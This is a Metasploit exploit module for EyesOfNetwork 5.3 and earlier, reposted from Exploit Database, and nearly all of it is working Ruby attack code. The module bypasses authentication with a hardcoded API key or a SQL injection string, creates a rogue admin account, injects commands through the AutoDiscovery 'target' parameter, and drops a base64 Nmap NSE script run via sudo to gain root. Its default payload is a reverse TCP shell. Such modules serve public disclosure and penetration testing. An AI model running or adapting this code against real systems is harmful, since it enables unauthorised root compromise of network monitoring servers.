EyesOfNetwork – AutoDiscovery Target Command Execution (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2020-03-05
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48169/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'EyesOfNetwork AutoDiscovery Target Command Execution',
  'Description' => %q{
  This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
  and prior in order to execute arbitrary commands as root.
  
  This module takes advantage of a command injection vulnerability in the
  `target` parameter of the AutoDiscovery functionality within the EON web
  interface in order to write an Nmap NSE script containing the payload to
  disk. It then starts an Nmap scan to activate the payload. This results in
  privilege escalation because the`apache` user can execute Nmap as root.
  
  Valid credentials for a user with administrative privileges are required.
  However, this module can bypass authentication via two methods, i.e. by
  generating an API access token based on a hardcoded key, and via SQLI.
  This module has been successfully tested on EyesOfNetwork 5.3 with API
  version 2.4.2.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Clément Billac', # @h4knet - Discovery and exploit
  'bcoles', # Metasploit
  'Erik Wynter' # @wyntererik - Metasploit
  ],
  'References'=>
  [
  ['CVE', '2020-8654'], # authenticated rce
  ['CVE', '2020-8655'], # nmap privesc
  ['CVE', '2020-8656'], # sqli auth bypass
  ['CVE', '2020-8657'], # hardcoded API key
  ['EDB', '48025']
  ],
  'Platform'=> %w[unix linux],
  'Arch'=> ARCH_CMD,
  'Targets' => [['Auto', { }]],
  'Privileged'=> true,
  'DisclosureDate'=> '2020-02-06',
  'DefaultOptions'=> {
  'RPORT' => 443,
  'SSL' => true, #HTTPS is required for the module to work
  'PAYLOAD' => 'generic/shell_reverse_tcp'
  },
  'DefaultTarget' => 0))
  register_options [
  OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
  OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
  ]
  register_advanced_options [
  OptBool.new('ForceExploit',[false, 'Override check result', false])
  ]
  end
  
  def nmap_path
  '/usr/bin/nmap'
  end
  
  def server_addr
  datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
  end
  
  def check
  vprint_status("Running check")
  res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
  
  unless res
  return CheckCode::Unknown('Connection failed')
  end
  
  unless res.code == 401 && res.body.include?('api_version')
  return CheckCode::Safe('Target is not an EyesOfNetwork application.')
  end
  
  version = res.get_json_document()['api_version'] rescue ''
  
  if version.to_s.eql? ''
  return CheckCode::Detected('Could not determine EyesOfNetwork version.')
  end
  
  version = Gem::Version.new version
  
  unless version <= Gem::Version.new('2.4.2')
  return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
  end
  
  CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
  end
  
  def generate_api_key
  default_key = "€On@piK3Y"
  default_user_id = 1
  key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
  Digest::SHA256.hexdigest(key + server_addr)
  end
  
  def sqli_to_api_key
  # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
  fake_pass = Rex::Text::rand_text_alpha(10)
  fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
  user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
  api_res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
  'method'=> 'GET',
   'vars_get' => {
  'username' => user_sqli,
  'password' => fake_pass
  }
  })
  
  unless api_res
  print_error('Connection failed.')
  return
  end
  
  unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
  print_error("SQL injection to obtain API key failed")
  return
  end
  
  api_res.get_json_document()['EONAPI_KEY']
  end
  
  def create_eon_user(user, password)
  vprint_status("Creating user #{user} ...")
  
  vars_post = {
  user_name:user,
  user_group: "admins",
  user_password: password
  }
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/eonapi/createEonUser'),
  'ctype'=> 'application/json',
  'vars_get' => {
  'apiKey' => @api_key,
  'username' => @api_user
  },
  'data' => vars_post.to_json
  })
  
  unless res
  print_warning("Failed to create user: Connection failed.")
  return
  end
  
  return res
  end
  
  def verify_api_key(res)
  return false unless res.code == 200
  
  json_data = res.get_json_document
  json_res = json_data['result']
  return false unless json_res && json_res['description']
  json_res = json_res['description']
  
  return true if json_res && json_res.include?('SUCCESS')
  
  return false
  end
  
  def delete_eon_user(user)
  vprint_status "Removing user #{user} ..."
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
  'ctype'=> 'application/json',
  'data' => { user_name: user }.to_json,
  'vars_get' => { apiKey: @api_key, username: @api_user }
  })
  
  unless res
  print_warning 'Removing user #{user} failed: Connection failed'
  return
  end
  
  res
  end
  
  def login(user, pass)
  vprint_status "Authenticating as #{user} ..."
  
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'login.php'),
  'vars_post' => {
  login: user,
  mdp: pass
  }
  })
  
  unless res
  fail_with Failure::Unreachable, 'Connection failed'
  end
  
  unless res.code == 200 && res.body.include?('dashboard_view')
  fail_with Failure::NoAccess, 'Authentication failed'
  end
  
  print_good "Authenticated as user #{user}"
  
  @cookie = res.get_cookies
  
  if @cookie.empty?
  fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
  end
  
  res
  end
  
  def create_autodiscovery_job(cmd)
  vprint_status "Creating AutoDiscovery job: #{cmd}"
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
  'cookie' => @cookie,
  'vars_post' => {
  'request'=> 'autodiscover',
  'job_name' => 'Internal discovery',
  'job_description'=> 'Internal EON discovery procedure.',
  'nmap_binary'=> nmap_path,
  'default_template' => '',
  'target[]' => cmd
  }
  })
  
  unless res
  fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
  end
  
  unless res.body.include? 'Starting...'
  fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
  end
  
  res
  end
  
  def delete_autodiscovery_job(job_id)
  vprint_status "Removing AutoDiscovery job #{job_id} ..."
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
  'cookie' => @cookie,
  'vars_get' => {
  id: job_id,
  delete: 1
  }
  })
  
  unless res
  print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
  return
  end
  res
  end
  
  def execute_command(cmd, opts = {})
  res = create_autodiscovery_job ";#{cmd} #"
  return unless res
  
  job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
  
  if job_id.empty?
  print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
  return
  end
  delete_autodiscovery_job job_id
  end
  
  def cleanup
  super
  if @username
  delete_eon_user @username
  end
  end
  
  def exploit
  unless [CheckCode::Detected, CheckCode::Appears].include? check
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  @api_user = 'admin'
  @api_key = generate_api_key
  print_status "Using generated API key: #{@api_key}"
  
  @username = rand_text_alphanumeric(8..12)
  @password = rand_text_alphanumeric(8..12)
  
  create_res = create_eon_user @username, @password
  unless verify_api_key(create_res)
  @api_key = sqli_to_api_key
  fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
  print_status("Using API key obtained via SQL injection: #{@api_key}")
  sqli_verify = create_eon_user @username, @password
  fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
  end
  
  admin_group_id = 1
  login @username, @password
  unless @cookie.include? 'group_id='
  @cookie << "; group_id=#{admin_group_id}"
  end
  
  nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
  nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
  cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
  print_status "Sending payload (#{cmd.length} bytes) ..."
  execute_command cmd
  end
  end